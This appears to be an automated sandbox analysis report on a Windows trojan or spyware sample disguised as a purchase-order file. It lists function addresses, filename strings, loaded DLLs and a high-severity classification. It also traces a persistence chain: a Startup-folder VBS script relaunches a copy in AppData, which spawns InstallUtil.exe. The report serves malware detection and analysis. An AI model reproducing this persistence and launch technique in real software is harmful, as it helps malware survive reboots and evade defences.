Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06C77038	5_2_06C77038
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06C789AB	5_2_06C789AB
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06C7CF18	5_2_06C7CF18
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06C74C68	5_2_06C74C68
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06C71420	5_2_06C71420
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06CD3B20	5_2_06CD3B20
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06CD05AF	5_2_06CD05AF
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06CD05B8	5_2_06CD05B8
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06CD5128	5_2_06CD5128
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06CD3E47	5_2_06CD3E47
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06D774B0	5_2_06D774B0
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06D70040	5_2_06D70040
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06D774A3	5_2_06D774A3
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06D7003B	5_2_06D7003B
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06D779CB	5_2_06D779CB
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06D761A3	5_2_06D761A3
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06D761A8	5_2_06D761A8
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06E93CEC	5_2_06E93CEC
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06E940AC	5_2_06E940AC
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06E93C60	5_2_06E93C60
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06E93C70	5_2_06E93C70
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06E9414D	5_2_06E9414D
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06E93D2B	5_2_06E93D2B
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06E93D2E	5_2_06E93D2E
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06EA97F0	5_2_06EA97F0
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06EA3FED	5_2_06EA3FED
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06EA97DF	5_2_06EA97DF
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06EABCA8	5_2_06EABCA8
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06EABCB8	5_2_06EABCB8
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06EAE497	5_2_06EAE497
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06EABC58	5_2_06EABC58
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06EA9C25	5_2_06EA9C25
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_0717E2B0	5_2_0717E2B0
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_0717DF00	5_2_0717DF00
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_0716003F	5_2_0716003F
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_07160040	5_2_07160040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02BB1A40	6_2_02BB1A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02BB23F8	6_2_02BB23F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02BB24A7	6_2_02BB24A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02BB248E	6_2_02BB248E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02BB24E6	6_2_02BB24E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02BB24CF	6_2_02BB24CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02BB243C	6_2_02BB243C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02BB2478	6_2_02BB2478
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02BB2462	6_2_02BB2462
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02BB455F	6_2_02BB455F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02BB1A30	6_2_02BB1A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02BB1A40	6_2_02BB1A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02BB4B40	6_2_02BB4B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02BB1E30	6_2_02BB1E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02BB1E20	6_2_02BB1E20

Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2148862105.0000000002C3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs PO-12202432_ACD_Group.pif.exe
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2157610900.000000000476A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PO-12202432_ACD_Group.pif.exe
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000000.2008380460.0000000000802000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePO56.exe* vs PO-12202432_ACD_Group.pif.exe
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2148862105.0000000002E66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOrkexnhsfu.exe" vs PO-12202432_ACD_Group.pif.exe
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2157610900.00000000045F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PO-12202432_ACD_Group.pif.exe
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2147980607.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs PO-12202432_ACD_Group.pif.exe
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs PO-12202432_ACD_Group.pif.exe
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2170019027.00000000067E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PO-12202432_ACD_Group.pif.exe
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2163407938.0000000006430000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameFozxv.dll" vs PO-12202432_ACD_Group.pif.exe
Source: PO-12202432_ACD_Group.pif.exe	Binary or memory string: OriginalFilenamePO56.exe* vs PO-12202432_ACD_Group.pif.exe

Source: PO-12202432_ACD_Group.pif.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@8/4@2/2

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: \Sessions\1\BaseNamedObjects\fc2a428e6332

Source: unknown

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs"

Source: PO-12202432_ACD_Group.pif.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: PO-12202432_ACD_Group.pif.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PO-12202432_ACD_Group.pif.exe

ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe

File read: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe "C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe"
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe "C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe"
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe "C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
